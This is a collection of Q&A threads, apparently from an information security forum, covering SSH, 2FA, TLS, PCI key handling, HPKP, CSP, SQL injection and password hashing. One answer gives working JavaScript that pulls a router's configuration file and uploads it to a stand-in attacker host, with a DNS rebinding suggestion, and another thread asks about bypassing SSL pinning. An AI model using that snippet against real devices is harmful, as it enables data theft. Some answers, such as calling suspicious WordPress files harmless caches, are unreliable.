Is something like fail2ban necessary for a rate-limited key-only (no password) ssh login? As far as I understand, bruteforcing ssh is only attempted for passwords, not keys (barring edge cases where presumably the NSA wants to break in).

So if a server has disabled (in addition to root login) password authentication on its ssh, is it still vulnerable to brute forcing attempts? And assuming that it isn't (please do explain if it still is), is there still a benefit to using something like fail2ban for ssh bruteforcing?

No, it is not vulnerable to bruteforcing, practically speaking. Depending on what you're doing on the server, an application firewall like fail2ban (or ModSecurity) could provide additional security for other internet-facing services running on the machine (but to answer your question, no, fail2ban would not provide any meaningful amount of additional security for key-based ssh).

Personally, I've never even logged any bruteforcing attempts for key-restricted ssh.


How do I add 2FA to my personal computer? I have a Windows 10 PC that I would like to protect a little better. I've looked for solutions online, but they're all business oriented.
What I would like, in an ideal situation, is having to enter my password and a Google Authenticator code (6 digits) before I can login to my PC. Is there any way I can achieve this?
If not, what's a good way to limit unauthorised access to a PC when it's physically stolen?

The reason you don't find what you're looking for is that 2FA in the static-password + short-changing-code sense is pretty much pointless for a personal computer. It's only useful for network access or if the password grants access to a large number of systems, and is primarily useful as a defense against phishing. None of this tends to apply to a personal computer.
The defense against losing your data if the PC is stolen is encryption. The encryption key must be sufficiently well protected to make it impractical for the thief to find it. The encryption key needs to be the same each time (otherwise you couldn't decrypt data from a previous session). So it must be calculated in a deterministic way from the available data. What (secret) data is available?

Data stored on the computer is pointless because if the computer is stolen, the thief will have this data.
Secret data can be stored inside a separate chip that will only reveal the secret if given a password, and that is physically protected so that the thief can't just read the data from it. In practice, this means a TPM¹.
Your password can be used as data that's in your mind.
You can use additional data that is stored on a separate physical device that you carry with you. In practice, this means a smart card. (A QR code might be a practical alternative if you aren't worried about hidden cameras, but I haven't seen ready-to-use software for that.)

A changing code (the kind of second authentication factor that you're looking for) does not help with encryption derived from a password because it changes every time (and if it didn't change every time, it wouldn't add any security because it would just blend into the password). If your computer is stolen and the thief manages to guess or find your password, the thief can take out the hard drive and access it directly, without using any software that would ask for a changing code. (And if the thief can't figure out your password, your data is safe.)
A useful second factor of authentication for encryption is a smart card, which contains the encryption key (or some intermediate key from which the key is derived). This is a different way to use a “what you have” factor, which combined with a password (or a PIN for the card) provides you with a 2FA. The cost for an individual user is something like $20 for a USB reader and a couple of cards. A TPM can serve the same purpose as the smartcard, if there's one on your motherboard, but it's less useful because it would be stolen with the computer, whereas the point of the smart card is that you keep it with you in your wallet.
A changing code could be useful if you have a TPM and you use it to store the disk encryption key. But as far as I'm aware TPM don't support this kind of second what-you-have factor. (There's a good reason for that: validating a changing code requires either a precise clock or keeping track of which codes have been used, and the kind of technology that goes into a secure chip is not very good at either.)
A changing code is not very useful as a second factor if the thief steals the device while it's powered on and the encryption key is in memory. If the thief manages to dump the key from the memory, authentication is irrelevant. If the thief tries to guess the password, the operating system already prevents fast retries, so the thief only gets a very small number of guesses and anything harder to guess than your spouses's name will resist. The only case where a second factor can help with an attack against logging in to a powered-on system is if the thief already knows your password, which is a concern in corporate and commercial environment where phishing is an issue, but typically not for a personal machine.
¹  Not all TPM are protected against invasive physical attacks, but they raise the bar from “worth taking 5 minutes to get some random person's banking information” to “only worth it for juicy corporate secrets”.


What is the status of TLS snap start? TLS snap start is an extension to TLS that allows one to use 0-RTT handshakes with TLS. The draft was created on June 2010 and expired in December 2010. I don't see any updates to the draft since. Is any work being done to convert it to a standard?

Also, is anyone using TLS snap start in production (presumably Google does, but I can't find much info about this). Is there any open source implementation of TLS snap start?

So I asked Adam Langley, author of the snap start draft. He mentioned that they are no longer working on snap start. Instead, he referred me to QUIC; snap start's design is the basis of QUIC's crypto support.


What is two full-length key components PCI DSS requirement 3.5.3 PCI DSS requirement 3.5.3

3.5.3 Store secret and private keys used  to encrypt/decrypt cardholder data in one  (or more) of the following forms at all  times:
............
As at least two full-length key  components or key shares, in  accordance with an industry accepted  method

Could you let me what the full-length key  components,what is relationship with secret and private keys store? AS a QSA how to Verify if the The audited party meet the condition？ Thanks a lot~

Key components:
Let's say you've a symmetric encryption key. To backup the key and achieve split knowledge, you export the key as separate components.

If the key is a 128-bit key, you should get key components which are each 128-bits in length. You can have two or more components. These components can be XOR'd together (a bitwise operation) to recreate the initial encryption key.

These key components should be under the responsibility of different individuals (i.e. key custodians).

With the above, you have split knowledge - no single individual knows the full key and knowledge of a single component provides no means to derive the original key.

You also have dual control - at least two individuals are required in order to recreate the encryption key.

The key store relates to where the key is located - e.g. the data encryption key is likely stored as a cryptogram encrypted with a key encryption key of equal or greater strength.

Verification is typically through review of a documented process, interviews with key custodians, review of logs of key generation and component storage locations.


Blocking network scanning attempts at the switchport Have noticed that I can scan the network though I have set an arp limit rate on the Cisco switch switchport and need some recommendations.
The previous engineer set an arp rate limit of 200 and probably with good reason too... looking at you Windows OS! :-)
But that allowed strangers to connect their laptops to the network and scan it.
I've set the arp limit to 50 which triggers into the 'err-disable' state soon after I start scanning.
But if I scan a different subnet to the one I'm currently connected to, the switchport does not go into err-disable and I can successfully scan.
Can anyone recommend some reading materials and provide tips if any to mitigate this?
Thanks in advance for any assistance.

When a system accesses an IP address outside it's subnet, it will try to access the gateway. So, for every IP address outside the subnet, the ARP will be for the IP address of the gateway.  You cannot limit this in a switch (a "real" switch).
So, you must look at the router. It depends a bit what that router is, but in general, routers do not limit the number of IP addresses that can be accessed.
If you want to detect and take action, you should probably look at netflow. Based on the netflow data, you can detect network mapping. You can also take actions, from visiting the location, to automatically shut of the switchport.


What key sizes are allowed within TLS if the DHE_RSA is the only key exchange allowed? Can I make assumptions about minimum and maximum key sizes if all I know about a TLS server is the fact that it uses DHE_RSA for key exchange?

Can the server be configured to use weak key sizes for RSA and/or DH (e.g. 512-bit public key size) and still have a sucessful TLS connection?

The cipher suites in SSL/TLS do not specify minimum or maximum sizes for the asymmetric keys involved in the key exchange or the certificates (the old "export" cipher suites specified maximum sizes, but these have been deprecated). Annex F.1.1.3 contains this text:

  Because TLS allows the server to provide arbitrary DH groups, the
     client should verify that the DH group is of suitable size as defined
     by local policy.

which means that it is up to the implementations to enforce the size constraints that they wish to see enforced.

In practice, RSA and DH keys which are way too small (smaller than 512 bits) will be rejected by many implementations (and when using RSA key exchange without DHE, there is an absolute minimum of 465 bits for the RSA modulus, otherwise the key exchange cannot take place at all). Many implementations will also reject keys beyond a rather large size (e.g. more than 4096 bits), because of internal constraints in the implementation.

If you want to make sure that short keys will make the handshake fail, then you have to configure or implement it yourself on the system you control (client or server).

Microsoft has pushed an update which deactivates support for RSA and DSA keys shorter than 1024 bits -- which implies that prior to this update, they were supported. However, the Diffie-Hellman group used with DHE is not from the certificates layer, but chosen by the SSL server code itself.


Concept for (almost) untraceable networking setup I have been working on an my digital footprint lately, trying to reduce it as much as possible, taking steps like fully encrypting my device with Veracrypt, installing 3 AVs, or spending hours trying to find a trustworthy VPN. However, I've realized almost every method is flawed in one way or another. So I thought, what if I combined them all?

I've found similar concepts but never an identical configuration to my own theoretical design. It should be noted this is all theoretical, and I have not actually set it up yet. My design would begin with a connection to a bullet-proof VPN, preferably hosted in Iceland, paid for with either Dash or Ethereum. From there, it would connect to a randomly selected SOCKS5 proxy, then to a commercial VPN, and finally go through TOR before connecting to the final website.

Computer > VPS > SOCKS5 > VPN > TOR

Any criticism or suggestions are greatly appreciated.

Using 3 AV programs at the same time is not advised. Using 2 is one too much. They will step on each other toes all the time, and maybe they won't work at all. Choose one good AV and stick to it.

Using Tor is enough. If you live on a country where using Tor is not a crime, you don't need a VPS, a VPN and a SOCKS proxy on top of that. Just Tor is enough, as your connection is not the weak link on your setup.

As others already said, you must mind your OpSec. That is the weakest link on your security, and that's the component that brings down most setups, not only on personal security, but enterprise security too. Logging into anything that could be linked to you while connected on Tor creates bits of information that can be put together and get to you. Logging on any restricted site while not on Tor can do it too.


Is it possible to exfiltrate a router config file to server using csrf ajax? the curl commend used to download the file

curl "http://192.168.1.1/html/management/downloadconfigfile.conf?RequestFile=/html/management/cfgfile.asp" -H "Cookie: SessionID_R3=dsadwdwqdasdwasdawd" --data "csrf_token=saddasdwadawds" --output 1.conf

Is it possible to send it back to the server without downloading?
using just xmlhttprequest?

or if after downloading it without user intervention?

Is it possible to grab it on the air ( on the go ) or even base64 it?
make it automatic?

Note: the file is available only to download after sending the post request and to download it again you do need to send the post request to it again.

I haven't tested it lately about the current protection level against it but an attacker might use DNS rebinding to send requests to the router and read it's responses.

Yes, you can do this using just xmlhttprequest. See my example below:

function downloadFile() {
    var oReq = new XMLHttpRequest();
    oReq.open("GET", "/html/management/downloadconfigfile.conf?RequestFile=/html/management/cfgfile.asp", true);
    oReq.responseType = "blob";

    oReq.onload = function (oEvent) {
        var blob = oReq.response;
        alert("received");
        var oReqSend = new XMLHttpRequest();
        url= "https://evil.example.com/Upload";
        oReqSend.open("POST", url, true);
        oReqSend.onload = function (oEvent) {
            alert("sent");
        };

        alert("sending1");
        oReqSend.send(blob);
        alert("sending2");
    };

    oReq.send();
}

https://evil.example.com/Upload is the URL where the file will be sent to. The DNS-Rebinding-Attack would be with the IP 192.168.1.1.

This example is a modified version of the code at https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data


when people say a file has a checked md5 hash, what exactly does that mean? ok I was just reading this site: http://www.zdnet.com/blog/bott/stay-safe-online-5-secrets-every-pc-and-mac-owner-should-know/3542?pg=4&tag=mantle_skin;content

and thought of something I always wanted to ask but never did.

when people say a file has a checked md5 hash, what exactly does that mean? Did they seriously dissolve the program into bits and do a hash on the bits?

The idea of the md5 hash is that it is a hash of the entire file - which will be different if any bit is changed. Not sure what you mean by 'dissolve it into bits' because that is all a file is - a series of bits.

When you download a file, you can get the md5 hash of it on your own machine, and comparing that to the md5 provided online you can reassure yourself you have the correct, unmodified file.

Have a look at this question on the value of a hash of a file.


Is it safe to use Google Authenticator app and SMS instead of passwords I currently want to start web development where I will be making a login system and want an alternative to storing passwords.

The question is: is it safe to use the Google Authenticator app as the main login along with SMS authentication as a second authentication type? If not is it safe to use Google authentication and SMS authentication as the main way to login?

When it comes to security, there are the three main paradigms:

Something you have can be interpreted as either an RFID key-fob, the Google Authenticator, a RSA key, etc.  Any physical object or thing that you need to posses to authenticate.
Something you know is most commonly interpreted as a password, but could also be a sequence of colors or shapes.  Something that you have to memorize.
Something of you.  This is bio-metrics: your voice print, your finger print, a scan of your retina, a 3D topological scan of your hand, how you walk, your DNA.

The current industry standard for authentication is moving towards a two-factor system as a baseline.  This just means that you require two of the three authentication paradigms.

You using Google or Facebook authentication as one of your two-factor systems, fulfills the something you know part of the equation, as the user has to know their login information for Google or Facebook.

Sending a user a text message fulfills the something you have part of two-factor.

Implementing both of those into your authentication scheme will put you about a year or two ahead of a large part of the application industry.  Your only real issue will be in how you secure the hashes you receive from Google/Facebook, on the user's account creation and the phone numbers associated with the users.

If your table with the Google/Facebook hashes or the user phone numbers gets compromised, then it is basically the same as your user giving away their passwords.


How are pinned keys stored in the browser? How about performance with large lists? Public-key pinning is a proposal that allows sites to pin their keys in the browser to protect against Man In The Middle attacks that try to forge a site's key. See

Internet Engineering Task Force (IETF)'s RFC 7469

My questions are:

How does the browser checks the keys? is it by using cookie? cache? lists? database? Can you clarify implementation details?

Assuming every website adopted this technique and pinned its public-key, the list will become extremely long. How can the browser checks the key in the white-list with high performance? What possible techniques are there to do this?

There are two kinds of HTTP Public Key Pinning, static HPKP and dynamic HPKP.

Static HPKP

For Google Chrome at least, static HPKP involves a list of websites and their public keys actually hardcoded in a json file distributed with all Chrome builds. Firefox keeps it in a header file with a large struct containing the websites and pinned keys. This is similar to HSTS preloading, but tends to involve only higher profile sites, so you can't submit your own. This list is not huge, so it's easy to query rapidly. If it were to include particularly many sites, it would not scale.

Dynamic HPKP

This is similar to HSTS. A server sends an HTTP header containing the pin directive along with a fingerprint and a backup fingerprint. Like HSTS, it also encodes the duration for which this will be valid. After getting the fingerprint, the browser will only connect to the website if it matches, until the expiry is up. This is stored in memory or on disk, and at most contains only the website you've visited which use dynamic HPKP. Assuming CA compromise, HPKP effectively provides a strong TOFU (Trust On First Use) guarantee on top of TLS.

The actual implementation is probably not relevant. For static HPKP, I imagine Firefox simply loops over the struct to find matches, and Chrome uses its internal json parser to find matches. For dynamic HPKP, it's probably some kind of list, whether a linked list or something faster and lighter like some kind of tree, I don't know. Either way, it would not be a significant bottleneck compared to the rest of the complex operations a browser needs to go through to perform a proper TLS handshake.

You underestimate the performance of a well-optimized hash tree or radix tree. :)


How To Bypass SSL pinning In SPDY protocol? I have been trying for almost a month to intercept the traffic of an android app the uses SSL pinning. I used Android-SSL-TrustKiller and SSLUnpinning but it did not work.I also decompiled the app and added mitmproxy's certificate to the app's truststore but still no luck.After some investigation I found that the app is using SPDY protocol.I thought that this might be the source of the problem so I searched google about how this protocol perform SSL certificate validation but I could not find anything.

So does SPDY protocol uses a different mechanism for SSL pinning? if not then what is preventing the app from trusting the proxy after I have added the proxy's certificate to the app's truststore?

SPDY work different from HTTP, the proxy must support it.
I guess this is your problem. mitmproxy does not support SPDY.

You need to look for proxy that support SPDY, somethink like this one. If you can make the phone\app trust your certificate, it should work.


Advice on career switch I'm an IT technical writer with 6 years of experience looking to transition to a career in information security. I have good knowledge of software, databases, and cloud computing with a year or so of experience in system security documentation (NIST 800-53). What I lack is any formal training or education in information security. My college degree is also completely irrelevant.

My question is given my experience, would completing a masters or certification  get me hired as an information security analyst at software companies? Alternatively, I would be open to working for consulting agencies that help companies achieve FISMA or FedRAMP certification. My main concern is that I do not want to take a huge step backwards from my current salary of $80,000 in the Minneapolis area.

Many thanks!

Consider what sort of role you are looking for. Information Security is a very wide field. Do you want to be a Penetration Tester? Do you want to be a SOC analyst? Do you want to be an ISO27001 Auditor? If you are not sure, I would suggest spending some time understanding the different types of role in the Industry and considering which ones fit your skill set given that you don't want to start from scratch.

Once you know what direction you are going in then you can start looking at an appropriate certification program or some other way of building a bridge for your transition.

Good luck!


What can someone do with a Google auth token? I just received an email from "Have I been pwned" to say my credentials have been made public via a breach. The quoted text is:

  "The exposed data included names, email addresses, genders, spoken
  language and either a bcrypt password hash or Google auth token."

I would like to know what someone could do with a Google auth token. The rammifications of leaking a bcrypt password hash would also be of interest but is not the primary question.

I vaguely recognise the app provider involved and don't currently have that app installed. I have changed my Google password since I last used the app and have MFA active.

Martin's answer has good info and steps to prevent further potential risk.

Concerning the authtoken it’s pretty straight forward.
For example, when you use your Google account to login to a site, using the following button :

Google generates a token using what's called the  OAuth 2.0 protocol, allowing this website to login via Google without them ever having knowledge of your password.

Imagine a triangle in which information is exchanged from each of the three angles (3 people, illustrated as P), but information can't flow from P1 to P3(or P3->P1) without passing through P2, which funnels data.

That is the main purpose of the authtoken, a single-use (one site only) hash/token that basically allows :
P1(site) to identify themselves on "behalf" of P2(you) to the platform of P3(google)

On some apps/sites, upon first use of "Google sign in", you have to choose and accept how much data/control this particular API has over your Google account.
Nowadays, it is usually limited to seeing your email address (the address only), and some public/private info such as name, DOB and address.

So regarding security concerns, I don't believe there are any. Not only do tokens expire (meaning after prolonged time of no use, you will need to revalidate permissions, aka re-auth), but also, in the manner of cryptocurrency, this is a three way exchange where whatever site had a data leak has its own token used to identify to Google.

Let's imagine a worst case scenario where a malicious attacker manages to recreate (doubtful..) or spoof the site's token, and then used yours to identify to Google.
Their power would be limited to whatever permissions that site had on your Google account (they can vary), but remain restricted. They do not have access to the Google account itself.

Now it's safe to assume that upon discovery of the data leak, all token authorizations from this particular site were revoked; either by demand of the former or by Google, as a preventative measure.

But for peace of mind(and because knowledge is awesome!), it is worth checking the following link which shows all the apps you have tokens with and what they're allowed to do. https://myaccount.google.com/permissions

For more information about the authtoken process: https://developers.google.com/gmail/api/auth/about-auth

Hope this answered your question!

Just to be clear: authtokens do NOT store your password


Found malware in my Wordpress, what is it and what it does? Recently I found strange file inside Wordpress sources directory of a page I have written and I am maintaining. It was a luck case. I deploy my sources from git so when I typed git status on a server I saw one new file.

Besides this file there were two database tables wp_old_cache and wp_old_lcache, first 2.5MB and second one 25MB big.

PHP source:
https://gist.githubusercontent.com/gitowiec/bae47ad4b34a68e3118b33e03603f2df/raw/49f4d76394c06caca73f9136be13757cd4c3c033/nav.php

SQL dump files:
https://gist.githubusercontent.com/gitowiec/bae47ad4b34a68e3118b33e03603f2df/raw/49f4d76394c06caca73f9136be13757cd4c3c033/dump.sql

What is it and what is its name? What does it do to my Wordpress installation? What software I should use to detect such security breaches in future? I could scan my webpages from a ssh session.

I don't want to know any prevention means (like hardening Wordpress installation by obscurity, changing my login credentials, or setting folders and files permission to more restrictive) because I am not infosec expert. My role is a programmer.

I would like also to know what is the incident response in my case, and which penetration test would reveal such vulnerability?

Those files are caches or saved older versions of your site. They are meant to be there.
You can use the SuperCacher add on to manage your cache.


Is malware in $RECYCLE.BIN (deleted files) dangerous? I'm running Debian 9.1 with KDE and scanned some other hard drive with the open source AV ClamAv. I got plenty of findings, most of which are PUAs (Potentially Unwanted Applications) (and I suspect many or even all being false positives - it seems ClamAV shows literally all .dll and .exe files as "PUA"s and the remaining ones weren't detected by most other AVs).
Most of these were located under $RECYCLE.BIN/someid/someid/...
Earlier I ran Windows (including AV) with that hard drive and now I'm wondering if malware in such locations could have been dangerous as well. Can applications in recycle bins be executed? Or is there some mechanism that prevents deleted dlls and executables from being run?

Can applications in recycle bins be executed?

Depends on the method. Clicking no, certain Winapi calls yes.

But ... this doesn't matter. Not being an PE executable is no guarantee that it's not malicious. Thinks like (malicious) audio files, VBA macros, JS in the browser, etc., rely on bugs in the program that reads them (like some specific media player or MS Word) and/or insufficient sandboxing.

It's very well possible that there is malware that uses bugs in the special storage system of Windows recycle bin.


How CA ensures that a certificate request is coming from me? To establish trusted SSL connection I need to create a certificate request. For example, if I use openSSL I can do it by the following command:

openssl req -new -key privkey.pem -out cert.csr

Anyone can do it.
I wander how CA ensures that a certificate request is coming from me?
Maybe somebody else create a certificate request on behalf of me.
Maybe my mail to CA was hacked and a certificate request was replaced.
Can I sign my certificate request and to send my signing public key to CA (e.g. in the separate mail)?
In this case it is possible to ensure that a certificate request is coming from me.

Different CAs have different methods, and each CA has different methods based on what level of trust you are paying to have. (such as Extended Validation to get the green address bar)

The little fly-by-night CAs have a base level verification where you just give them an e-mail address and they send you an e-mail there, thereby validating that you really own the e-mail address associated with the certificate. These usually cost $15-$30, and are promoted as instant verification.

Standard CA validation involves providing a phone number for at least one contact at your company. The CA first looks up the phone number to verify that it belongs to the company the cert is registered to, then checks by calling and having the contact answer the phone and agree that they know of this cert request.

Higher level verifications involve faxing company documents (business license, registration, etc)

...so to keep it short, it depends on what kind of trust you pay for and which company is sticking their neck out for you.


Are these both cross frame scripting attacks? I've received a recent security review of a website which mentioned it had a cross frame scripting vulnerability.  In short, it mentioned that a malicious site could load the page up in an iframe, fooling the user to think the are on the legitimate page for the application, while overlaying controls and such to gather data and do other malicious activity.  But I have also heard that an XFS is when an XSS attack is used to inject an iframe into your application pointing at a malicious site which then allows the malicious site loaded in the frame to gather data from those using your application as well as other malicious activities.

So, are these both cross frame scripting attacks because they both use iframes as a key element?  Or is only the first attack an XFS while the second one is considered a version of XSS using iframes?

P.S.  XSS and CSRF both have tags, is there a reason XFS doesn't?

Though this being an old question, I'm adding an answer for future viewers.

"Cross-Frame Scripting" is basically data leakage that can happen when an attacker embeds a victim's website into a frame within their own website and monitor/spy on the activities does on the framed website. An attacker can register a JavaScript listener which listens to all key events on the page. The spying is possible because, the (buggy) browser notifies the listener of key events even from the framed victim's webpage. Thus, the attacker can embed the victim's login page in their website (in an iframe) and thus obtain the login credentials of an innocent victim.

"Cross-Site Scripting", on the other hand is actually more of a forced JavaScript execution where an attacker injects/reflects malicious JavaScript which is then executed on the client's browser.

XFS prevention revolves around frame-busting or adding x-frame-options in HTTP headers, equal to either DENY (informing the browser to never frame the website) or sameorigin (frame only if in the same context).
XSS prevention, however, is more concerned with input sanitization.

That being said, in the scenario you described, the first case is an example of an XFS attack, while the latter can be considered as an example of an XSS attack involving frames.


Content Security Policy line of code for beginners I am very very new in web development, and I need to make my website a little more secure by adding a simple Content-Security-Policy code.

Here are my questions:

Is this line of code Header set Content-Security-Policy "default-src 'self'" enough to prevent adding malicious codes by an unknown user/attacker?
To this code Header set Content-Security-Policy "default-src 'self'" to work, all I need to do is input it in my .htaccess file ?

The header will prevent resource files from being loaded from anywhere except the source domain.

However, it will not prevent man-in-the-middle or browser hijacks which may dynamically insert changes to the page itself since those are not trying to load a separate resource file as far as the browser is concerned.

Header set Content-Security-Policy "default-src 'self'"

Is indeed the correct Apache .htaccess entry.

To prevent MiTM hijacks, you need to make sure that all resources are delivered encrypted over HTTPS. Use certificate pinning to help prevent MiTM decoding.

To prevent browser hijacks, firstly ensure that all clients have robust ad-blocking installed and updated (if you are on a controlled network, do this at the network level). That prevents drive-by hijacks which are increasingly common. Other forms would come from malware on the PC so ensure that users have constantly updated anti-virus and are familiar with attacks such as phishing, not opening untrusted documents and never running applications unless known. the usual client security stuff.


How to protect camera circuit We have a building with n cameras connected to a Digital Video Recorder that has been attacked, this DVR provides a web server in port 90 that can be accessed from the internet. All the system were recovered by using backups, DVR Firmware could not be updated since manufacturer deprecated it in 2014. How is it possible to add an extra layer of protection to this stack without loosing the connectivity to the web server from the internet?.

Assuming that the connections are HTTP based, set up a web server (e.g. nginx / Apache) as a reverse proxy in front of the DVR, and require inbound connections to that web server to be authenticated over HTTPS with a client certificate. This way the DVR is never directly routed to the internet.

If you require access to other protocols, e.g. RTSP for video, I'd suggest creating an isolated network that contains the DVR and cameras, then setting up a VPN endpoint so that you can remotely access the DVR environment.


Is it safe to concatenate non-input session variables into a SQL string? I have a php application where the function "makeSessionVar" creates a session variable from application defined data, then concatenates it into the SQL string.

function makeSessionVar($A,$B){ // (<id>, <sql column name>);
    ...
    $_SESSION['col'.$A] = $B;
    ...
}

makeSessionVar("1", "dateModified");
makeSessionVar("2", "title");
makeSessionVar("3", "notes");

$editSQL = "UPDATE myTable SET " . $_SESSION['col1'] . " = ?,  " . $_SESSION['col2'] . " = ?,  " . $_SESSION['col3']. " = ? WHERE ID = ?";

My understanding is that concatenation is dangerous for user defined data, but is there a way for an end user to poison these session variables to inject arbitrary code, or is this safe?

Yes, I know that the right way is to do a fully prepared statement it is like this below, but I'm more interested in knowing if it actually matters from a security standpoint.

$editSQL = "UPDATE myTable SET ? = ?,  ? = ?,  ? = ? WHERE ID = ?"

Presuming that prepared queries are easy to use and don't cause performance issues here, then you should just use prepared queries.  All else being equal, I prefer to do things the secure way by default.  In other words, instead of asking "Should I do this the secure way?" (which is what you are asking) try approaching from the opposite perspective: "Is there any reason not to do this the secure way?".  Unless you have a good reason to do it without prepared queries, just always use them.

For session variables I think it is especially important to always use prepared queries, because their nature makes it easy to lose track of where they came from.  It is true that given your current use case there is no immediate risk of an SQL injection vulnerability (but note that session data and cookie data can be easily confused, and the latter are not secure).  However business needs often change and this can generate a large risk when the creation of data is not easily "visible" from where it is used.  What happens if on the next iteration of the application one of these pieces of data now comes from user input?  You'll probably remember to convert your query into a prepared query when you first store the user input.  But will you remember to follow that same data through your entire application and make sure you aren't using it without prepared queries in a later place?  If you end up inserting the data into the database securely, but later fetch that data from the database and use it in another insecure query, then you can still end up with an SQL injection vulnerability.

So don't ask "Should I use prepared queries?".  Instead start from the other end: "Is there a reason why I shouldn't use prepared queries?".  If you don't have a compelling reason to skip the prepared queries, then use them.  If you think you have a good reason to do it insecurely, then at least you are at a good starting point for a thorough cost/benefit analysis.

Prepared queries with variable column names

Please note that this syntax is not actually allowed for prepared queries:

$editSQL = "UPDATE myTable SET ? = ?,  ? = ?,  ? = ? WHERE ID = ?"

Column names cannot be provided with place holders.  As a result you actually can't build prepared queries like this.  Instead you have to provide the column names as variables into the query building, which means that it can be vulnerable to SQLi vulnerabilities.  Therefore, the way you protect against SQLi in cases like this is by whitelisting the variable contents to make sure that it is exactly something that it is supposed to be.


On what layer should password hashing and/or encryption take place I'm finding myself on the inexperienced end of a discussion about where password hashing takes place. My coworker drew a schema from less to more secure, where the Public Internet was the least secure, and an internal API for user data was the most secure. The internal API can only be reached from within the network. The web-server + code was in the middle of the two layers. His statement was that passwords should be hashed and/or encrypted at the API level and not on the web-server level, as it's inherently insecure to do so.

Over the last years I have always found the hashing algorithm, keys and salts on webserver level, within the code. He, however, has experience with military grade systems and big enterprise solutions, while I have worked more with smaller web applications, and have fewer years of experience to rely on.

Where should password hashing take place? Is it best to forward plain-text passwords all along the chain until it reaches the most secure level, or can it be hashed at webserver level without creating security loopholes?

"Layers" are an appropriate way of thinking when your job is digging up old dinosaur bones. This is not so for information security.

It is tempting to think of "defence perimeters", "demilitarized zones" and "defence layers" because it evokes analogies with bunkers, artillery, heroic charges, and other colourful expressions of the inherent abilities of humans at exercising creative violence. However, all these metaphors rely on a conception of attackers as if they were commandos, stealthy and deadly but constrained by laws of physics, in particular the need to be at one single place at any one time. These laws don't apply directly to the abstract world maintained by computers, and there the analogy breaks down. Thinking in terms of layers thus runs the risk of completely misunderstanding the situation.

Moreover, there is no such thing as a single, comprehensive measure of "security": claiming that some part of a system is "more secure" than another means that you implicitly put figures over the concept of security for both systems, along a linear scale which further more happens to be the same for both systems. Such claims are common but verge on the preposterous.

What you must think about is threats and vulnerabilities. In your case, an external client connects to your "network", and authentication must take place by presenting a password. Somewhere in this system, the password must be verified against some stored value. It is unavoidable that such a stored value allows for offline dictionary attacks (meaning: if the attacker finds the hash of the password, then he can "try passwords at home", as fast as his own computers allow for it). It so happens that the connection from client C first goes through a "Web server" W (which is reachable from the Internet) and then to an inner server S where the sensitive data/service actually resides. The questions are then:

When the password is entered by the user, should it travel to S, or stop at W ?
When hashing occurs, should it be done on W or on S ?
The password verification token (the hashed password) should be stored on W or on S ?
What are the communication mechanisms which should be employed between C and W, and between W and S ?

The ultimate goal of the attacker is to gain access to the services for which authentication is requested. If he gets the password itself, he wins. If he obtains the hashed password, then he wins or semi-wins, depending on the system details ("semi-win" meaning that the attacker does not obtain immediate access, but can run an offline dictionary attack, which usually succeeds after some efforts because average human users are bad at choosing strong passwords).

The attacker may spy on the line between C and W. To avoid that, use SSL. In fact, W being a Web server, it may be surmised that C runs a Web browser, which implies that the user password necessarily travels "as is" to W, under the protection of HTTPS. However, W then gets the cleartext password. Correspondingly, if the attacker can hijack W completely, then he wins. From this point of view, overall security cannot be "higher" (if you want to think in such terms) than the security of W. Therefore, in a layer-based analysis, if the Web server W is not in the "most secure layer" then you are doing it wrong. This alone shows the shortcomings of the way your colleague thinks about security.

Let's assume that the attacker cannot hijack W. Then you have the choice between three main systems:

The password is hashed on W. W stores the hashed passwords, and performs the verification. No password hashed or not hashed reaches S.
The password is hashed on W. The hashed password is sent to S. S stores the hashed passwords.
The password is sent "as is" to S. W stores nothing. S does the hashing, and stores the hashed passwords.

In the three cases, you need some protection for the connections between W and S. Indeed, this whole question is moot if the attacker is not assumed to be able to enter the local network in some way. So we assume that the attacker has access to a third machine on the local network, from which he can spy and try to do extra connections.

In the first case, S trusts W, so S must make sure that it talks to the "true W", and the communications must be free from hostile hijack by the attacker.
In the second case, the password hash sent by W is "password equivalent", in that showing it to S grants access. It is thus a very valuable target, that the attacker will want to see.
In the third case, the unhashed password goes from W to S, and the attacker would be very interested in seeing it.

Therefore, SSL between W and S.

Each of the three systems has pros and cons:

If W does the storage then W contains the hashed passwords, which may be recovered en masse from a partial read-only breach on W, as regularly happens with Web servers (SQL injection attacks...).
If the hashing is done on W but the storage on S, then the salt value for the hashing must be first retrieved from S and sent to W, increasing protocol complexity and latency.
If the hashing is done on S then S pays for the bulk of the hashing cost. We want the hashing to be expensive (see this answer); if S is busy (because it operates the actual service), then this limits the number of iterations that can be applied to hashing, consequently lowering security (the hashed passwords will be less robust against offline dictionary attacks, and the server S, being more loaded, will be weaker against DoS attacks).

Which choice is "the right one" depends on operational details of your specific situation: amount of free CPU, inner network performance, backup procedures, estimated average and peak loads... Moreover, the actual security differences rely on predictions of "how much" the Web server and the inner network are breached into; this is not a solid foundation for reasoning, and it would be bold to claim that the resultant risk analysis is more accurate than what scapulomancy may offer.

Trying to apply the "layers mindset" here looks like a knee-jerk dogmatic reaction.


Renewing Microsoft Certificate Services Root Certificate We currently have Microsoft Enterprise Certificate Server installed on a domain member machine which issues 1 year certificates to users for authenticating to VPN.

We'd like to start issuing web server certificates from our CA to secure Dell Open Manage (a systems management application) and also Microsoft RDP. Because we have quite a few servers (100+) and I haven't found a way to automate certificate installation (note installation - not deployment - I know how to automatically deploy) we're considering  issuing certificates for the lifetime of the server. Most of our servers are used for 10 years or less so we'd want 10-15 year certificates.

As I understand, CA's can't issue certificates longer than they themselves are valid. Thus if we wanted to issue 10 year SSL certificates our root CA certificate would need to be valid at least 11 years but practically probably 15-20 years.

Additionally I understand that the longer the duration of the certificate the more susceptible the private key is to compromise and thus the desire to use a longer key length for longer certificates.

I'm considering renewing the root certificate for a longer duration but I have the following questions:

1) Is generating a root certificate 15-20 years within best practices? Again I understand ideally we would issue certificates for a shorter duration - but the manual labor involved with installing said certificates each year isn't trivial thus the desire to use a longer length - so long as doing so is reasonably safe

2) Should we use 4096 key length for the root CA or can we use a shorter key? Some reading I've done suggests some network devices won't support certificates longer than 2048 bits.

3) When renewing the root certificate we have the option of reusing its existing key pair or generating a new key pair. I understand generating a new key pair is better from a security standpoint but do if we do that will our existing issued certificates continue to function without needing to make any changes?

Thanks
Brad

